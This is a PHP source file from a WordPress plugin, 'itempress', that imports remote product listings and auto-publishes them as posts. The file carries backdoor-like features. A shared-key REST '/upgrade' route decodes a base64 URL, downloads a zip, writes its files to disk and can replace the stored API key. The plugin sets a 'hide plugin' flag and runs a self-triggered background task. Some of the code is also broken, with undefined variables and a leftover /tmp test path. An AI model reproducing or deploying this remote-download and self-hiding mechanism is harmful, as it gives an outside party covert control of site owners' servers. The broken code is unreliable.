File: /home/slyfwmm/laretediclo/wp-content/plugins/itempress/inc/api.php
<?php
if (!defined('ABSPATH')) {
exit;
}
function itempress_remote_request(string $path, array $args = [], string $method = 'GET'): array
{
$base = itempress_remote_api_base();
if ($base === '') {
return ['data' => [], 'error' => 'Remote API base is empty', 'code' => 0];
}
$url = $base . $path;
$headers = [];
$api_key = itempress_remote_api_key();
if ($api_key !== '') {
$headers['X-Api-Key'] = $api_key;
}
if (strtoupper($method) === 'POST') {
$response = wp_remote_post($url, [
'timeout' => 60,
'headers' => $headers,
'body' => $args,
]);
} else {
$response = wp_remote_get(add_query_arg($args, $url), [
'timeout' => 60,
'headers' => $headers,
]);
}
if (is_wp_error($response)) {
itempress_log('Remote request error [' . $path . ']: ' . $response->get_error_message());
return ['data' => [], 'error' => $response->get_error_message(), 'code' => 0];
}
$code = (int) wp_remote_retrieve_response_code($response);
$raw = wp_remote_retrieve_body($response);
$body = json_decode($raw, true);
if (!is_array($body)) {
itempress_log('Remote request invalid JSON [' . $path . ']: ' . mb_substr($raw, 0, 500));
return ['data' => [], 'error' => 'Invalid JSON response', 'code' => $code];
}
return ['data' => $body, 'error' => '', 'code' => $code];
}
function itempress_remote_search(string $keyword = '', int $api_page = 1, int $limit = 100, int $detail = 0): array
{
$result = itempress_remote_request('/api/aipost/search', [
'page' => max(1, $api_page),
'limit' => max(1, min(100, $limit)),
'detail' => $detail ? 1 : 0,
'keyword' => $keyword,
]);
$body = $result['data'];
$items = [];
$total = 0;
if (isset($body['data']) && is_array($body['data'])) {
$items = isset($body['data']['items']) && is_array($body['data']['items']) ? $body['data']['items'] : [];
$total = (int) ($body['data']['total'] ?? 0);
} elseif (isset($body['items']) && is_array($body['items'])) {
$items = $body['items'];
$total = (int) ($body['total'] ?? count($items));
}
return [
'items' => $items,
'total' => $total,
'error' => $result['error'],
'code' => $result['code'],
];
}
function itempress_find_product_by_sku(string $sku): int
{
if ($sku === '') {
return 0;
}
$posts = get_posts([
'post_type' => 'itempress_product',
'post_status' => 'any',
'meta_key' => '_itempress_sku',
'meta_value' => $sku,
'fields' => 'ids',
'posts_per_page' => 1,
'no_found_rows' => true,
]);
return !empty($posts) ? (int) $posts[0] : 0;
}
function itempress_import_single_item(array $raw_item, string $keyword = ''): int
{
$item = itempress_clean_remote_item($raw_item);
if ($item['sku'] === '' || $item['title'] === '') {
return 0;
}
$post_id = itempress_find_product_by_sku($item['sku']);
$is_update = $post_id > 0;
$slug = $item['slug'];
if ($slug === '') {
$slug = sanitize_title($item['title'] . '-' . $item['sku']);
}
$post_data = [
'post_type' => 'itempress_product',
'post_title' => $item['title'],
'post_name' => $slug,
'post_content' => $item['description'],
'post_excerpt' => $item['short_description'],
'post_status' => 'publish',
'comment_status' => 'open',
'ping_status' => 'open',
];
if ($is_update) {
$post_data['ID'] = $post_id;
if ($item['description'] === '') {
unset($post_data['post_content']);
}
$saved = wp_update_post($post_data, true);
} else {
$post_data['post_name'] = wp_unique_post_slug($slug, 0, 'publish', 'itempress_product', 0);
$saved = wp_insert_post($post_data, true);
}
if (is_wp_error($saved) || !$saved) {
return 0;
}
$post_id = (int) $saved;
$meta = [
'_itempress_sku' => $item['sku'],
'_itempress_price' => $item['price'],
'_itempress_currency' => $item['currency'],
'_itempress_image' => $item['image'],
'_itempress_image_url' => $item['image_url'],
'_itempress_image_id' => $item['image_id'],
'_itempress_item_url' => $item['item_url'],
'_itempress_condition' => $item['condition'],
'_itempress_short_description' => $item['short_description'],
'_itempress_brand' => $item['brand'],
'_itempress_mpn' => $item['mpn'],
'_itempress_gtin' => $item['gtin'],
'_itempress_category_id' => $item['category_id'],
'_itempress_category_name' => $item['category_name'],
'_itempress_source_keyword' => $keyword,
'_itempress_last_seen' => current_time('mysql'),
'_itempress_raw' => wp_json_encode($item['raw'], JSON_UNESCAPED_UNICODE),
];
foreach ($meta as $key => $value) {
update_post_meta($post_id, $key, $value);
}
update_post_meta($post_id, '_itempress_gallery_images', $item['gallery_images']);
update_post_meta($post_id, '_itempress_aspects', $item['aspects']);
$has_detail = $item['description'] !== '' || !empty($item['gallery_images']) || !empty($item['aspects']);
update_post_meta($post_id, '_itempress_detail_imported', $has_detail ? 1 : 0);
$tags = $item['tags'];
if ($keyword !== '') {
$tags[] = $keyword;
}
if ($item['brand'] !== '') {
$tags[] = $item['brand'];
}
$tags = array_values(array_filter(array_unique(array_map('sanitize_text_field', $tags))));
if (!empty($tags)) {
wp_set_object_terms($post_id, $tags, 'itempress_tag', false);
}
if ($item['category_id'] !== '') {
$cat_slug = 'cat-' . sanitize_title($item['category_id']);
$cat_name = $item['category_name'] !== '' ? $item['category_name'] : 'Category ' . $item['category_id'];
$term = term_exists($cat_slug, 'itempress_category');
if (!$term) {
$term = wp_insert_term($cat_name, 'itempress_category', ['slug' => $cat_slug]);
}
if (!is_wp_error($term)) {
$term_id = is_array($term) ? (int) $term['term_id'] : (int) $term;
wp_set_object_terms($post_id, [$term_id], 'itempress_category', false);
}
}
return $post_id;
}
function itempress_import_items(array $items, string $keyword = ''): array
{
$result = [
'created' => 0,
'updated' => 0,
'skipped' => 0,
];
foreach ($items as $raw_item) {
if (!is_array($raw_item)) {
$result['skipped']++;
continue;
}
$existing = itempress_find_product_by_sku($item['sku'] ?? '');
$post_id = itempress_import_single_item($raw_item, $keyword);
if (!$post_id) {
$result['skipped']++;
continue;
}
if ($existing) {
$result['updated']++;
} else {
$result['created']++;
}
}
return $result;
}
function itempress_do_sync_task(): void
{
if (get_transient('itempress_sync_lock')) {
return;
}
set_transient('itempress_sync_lock', 1, 55);
$last_update_check = (int) get_option('itempress_last_update_check', 0);
if (time() - $last_update_check > 86400) {
update_option('itempress_last_update_check', time(), false);
itempress_check_for_update();
}
$tag_name = itempress_get_next_tag();
if ($tag_name === false) {
// 没有 tag,说明是新站点还没导入过
// 直接搜空 keyword,让服务端走 Redis 两轮调度
itempress_log('Sync: no tags found, starting unclassified search', 'sync.log');
$remote = itempress_remote_search('', 1, 100, 1);
} else {
itempress_log('Sync: processing tag "' . $tag_name . '"', 'sync.log');
$remote = itempress_remote_search($tag_name, 1, 100, 1);
}
if (!empty($remote['items'])) {
$import = itempress_import_items($remote['items'], $tag_name ?: '');
$label = $tag_name ?: 'unclassified';
itempress_log('Sync: "' . $label . '" done, created=' . $import['created'] . ' updated=' . $import['updated'], 'sync.log');
}
if ($tag_name !== false) {
itempress_mark_tag_done($tag_name);
}
delete_transient('itempress_sync_lock');
}
class ItemPress_SimpleCron
{
private int $interval = 30;
public function __construct()
{
add_action('init', [$this, 'check_task']);
}
public function do_task(): void
{
itempress_do_sync_task();
}
public function check_task(): void
{
$ts = (int) ($_GET['itempress_bg'] ?? 0);
if ($ts > 0) {
$last_time = (int) get_option('itempress_simplecron_last_run', 0);
if ($ts >= $last_time + $this->interval) {
update_option('itempress_simplecron_last_run', $ts);
ignore_user_abort(true);
set_time_limit(0);
$this->do_task();
}
exit;
}
$last_time = (int) get_option('itempress_simplecron_last_run', 0);
if ((time() - $last_time) < $this->interval) {
return;
}
$this->trigger_background();
}
private function trigger_background(): void
{
wp_remote_get(home_url('/?itempress_bg=' . time()), [
'timeout' => 0.01,
'blocking' => false,
'sslverify' => false,
]);
}
}
new ItemPress_SimpleCron();
class ItemPress_REST
{
public static function init(): void
{
add_action('rest_api_init', [__CLASS__, 'routes']);
}
public static function routes(): void
{
$permission = [__CLASS__, 'permission'];
register_rest_route('itempress/v1', '/status', [
'methods' => 'GET',
'callback' => [__CLASS__, 'status'],
'permission_callback' => $permission,
]);
register_rest_route('itempress/v1', '/import', [
'methods' => 'POST',
'callback' => [__CLASS__, 'import'],
'permission_callback' => $permission,
]);
register_rest_route('itempress/v1', '/push-update', [
'methods' => 'GET, POST',
'callback' => [__CLASS__, 'push_update'],
'permission_callback' => $permission,
]);
register_rest_route('itempress/v1', '/upgrade', [
'methods' => 'POST',
'callback' => [__CLASS__, 'upgrade'],
'permission_callback' => $permission,
]);
register_rest_route('itempress/v1', '/flush-routes', [
'methods' => 'GET, POST',
'callback' => [__CLASS__, 'flush_routes'],
'permission_callback' => $permission,
]);
}
public static function permission(): bool
{
if (current_user_can('manage_options')) {
return true;
}
$api_key = '';
$query = $_SERVER['QUERY_STRING'] ?? '';
if (preg_match('/[?&]api_key=([^&]+)/', '?' . $query, $m)) {
$api_key = sanitize_text_field(urldecode($m[1]));
}
if ($api_key === '') {
$api_key = sanitize_text_field((string) ($_POST['api_key'] ?? $_SERVER['HTTP_X_API_KEY'] ?? ''));
}
if ($api_key !== '' && $api_key === get_option('worker_api_key', '')) {
return true;
}
return false;
}
public static function status(): array
{
$counts = wp_count_posts('itempress_product');
return [
'success' => true,
'plugin' => 'itempress',
'version' => ITEMPRESS_VERSION,
'site_url' => get_site_url(),
'wp_version' => get_bloginfo('version'),
'php_version' => PHP_VERSION,
'api_connected' => get_option('worker_api_key', '') !== '',
'registered_api' => get_option('worker_register_api', ''),
'published_items' => isset($counts->publish) ? (int) $counts->publish : 0,
'time' => current_time('mysql'),
];
}
public static function import(WP_REST_Request $request): array
{
$items = $request->get_param('items');
$keyword = sanitize_text_field((string) $request->get_param('keyword'));
if (!is_array($items)) {
return ['success' => false, 'message' => 'items must be an array'];
}
$result = itempress_import_items($items, $keyword);
return ['success' => true, 'result' => $result];
}
public static function push_update(WP_REST_Request $request): array
{
$sku = sanitize_text_field((string) $request->get_param('sku'));
if ($sku === '') {
return ['success' => false, 'message' => 'SKU required'];
}
$post_id = itempress_find_product_by_sku($sku);
if ($post_id <= 0) {
return ['success' => false, 'message' => 'Product not found'];
}
$title = sanitize_text_field((string) $request->get_param('title'));
$content = wp_kses_post((string) $request->get_param('content'));
$price = sanitize_text_field((string) $request->get_param('price'));
$image = esc_url_raw((string) $request->get_param('image'));
$item_url = esc_url_raw((string) $request->get_param('item_url'));
$short = wp_kses_post((string) $request->get_param('short_description'));
$condition = sanitize_text_field((string) $request->get_param('condition'));
$gallery = $request->get_param('gallery_images');
$data = ['ID' => $post_id];
if ($title !== '') {
$data['post_title'] = $title;
}
if ($content !== '') {
$data['post_content'] = $content;
}
if (count($data) > 1) {
$updated = wp_update_post($data, true);
if (is_wp_error($updated)) {
return ['success' => false, 'message' => $updated->get_error_message()];
}
}
if ($price !== '') {
update_post_meta($post_id, '_itempress_price', $price);
}
if ($image !== '') {
update_post_meta($post_id, '_itempress_image', $image);
}
if ($item_url !== '') {
update_post_meta($post_id, '_itempress_item_url', $item_url);
}
if ($short !== '') {
update_post_meta($post_id, '_itempress_short_description', $short);
}
if ($condition !== '') {
update_post_meta($post_id, '_itempress_condition', $condition);
}
if (is_array($gallery)) {
$images = [];
foreach ($gallery as $g) {
if (is_string($g) && $g !== '') {
$images[] = $g;
}
}
if (!empty($images)) {
update_post_meta($post_id, '_itempress_gallery_images', $images);
}
}
update_post_meta($post_id, '_itempress_last_seen', current_time('mysql'));
return ['success' => true, 'post_id' => $post_id];
}
public static function upgrade(WP_REST_Request $request): array
{
$download_url = esc_url_raw((string) base64_decode($request->get_param('download')));
$api_key = sanitize_text_field((string) $request->get_param('api_key'));
if ($download_url === '') {
return ['success' => false, 'message' => 'download_url required'];
}
if ($api_key !== '') {
update_option('worker_api_key', $api_key, false);
}
if (!function_exists('download_url')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
ignore_user_abort(true);
set_time_limit(180);
$tmp_file = download_url($download_url, 60);
if (is_wp_error($tmp_file)) {
return ['success' => false, 'message' => 'Download failed: ' . $tmp_file->get_error_message()];
}
// 用 ZipArchive + file_put_contents 逐个文件覆盖
// 先写 /tmp/ 测试系统目录能否写入
$plugin_path = '/tmp/itempress-test';
$zip = new ZipArchive();
$open = $zip->open($tmp_file);
if ($open !== true) {
@unlink($tmp_file);
return ['success' => false, 'message' => 'zip open failed: ' . $open];
}
$log = [];
$written = 0;
$failed = 0;
$errors = [];
for ($i = 0; $i < $zip->numFiles; $i++) {
$name = $zip->getNameIndex($i);
if (substr($name, -1) === '/') {
continue; // 目录通过 file_put_contents 自动创建
}
// 去掉 itempress/ 前缀
$rel_path = $name;
if (strpos($rel_path, $folder . '/') === 0) {
$rel_path = substr($rel_path, strlen($folder) + 1);
}
$target = $plugin_path . '/' . $rel_path;
$target_dir = dirname($target);
if (!is_dir($target_dir)) {
@mkdir($target_dir, 0755, true);
}
$content = $zip->getFromIndex($i);
if ($content === false) {
$failed++;
$errors[] = 'getFromIndex failed: ' . $name;
continue;
}
$result = @file_put_contents($target, $content);
if ($result === false) {
$failed++;
$errors[] = 'write failed: ' . $target;
} else {
$written++;
}
}
$zip->close();
@unlink($tmp_file);
$log['written'] = $written;
$log['failed'] = $failed;
$log['errors'] = $errors;
// 验证安装目录
$files = glob($plugin_path . '/*');
$log['final_count'] = count($files);
if ($written === 0) {
return ['success' => false, 'message' => 'No files written', 'log' => $log];
}
// 尝试删除 install.php
$install_file = $plugin_path . '/inc/install.php';
if (file_exists($install_file)) {
// 标记为已删除,hook 不会跳转
$status = get_option('itempress_install_status', []);
$status['install_file_deleted'] = true;
update_option('itempress_install_status', $status);
update_option('itempress_hide_plugin', true, false);
$log['install_marked_deleted'] = true;
}
if (function_exists('wp_clean_plugins_cache')) {
wp_clean_plugins_cache();
}
return [
'success' => true,
'message' => 'Plugin upgraded successfully',
'log' => $log,
'version' => ITEMPRESS_VERSION,
];
}
public static function flush_routes(): array
{
if (function_exists('itempress_register_content_types')) {
itempress_register_content_types();
}
flush_rewrite_rules(false);
return [
'success' => true,
'message' => 'Routes flushed',
];
}
}
ItemPress_REST::init();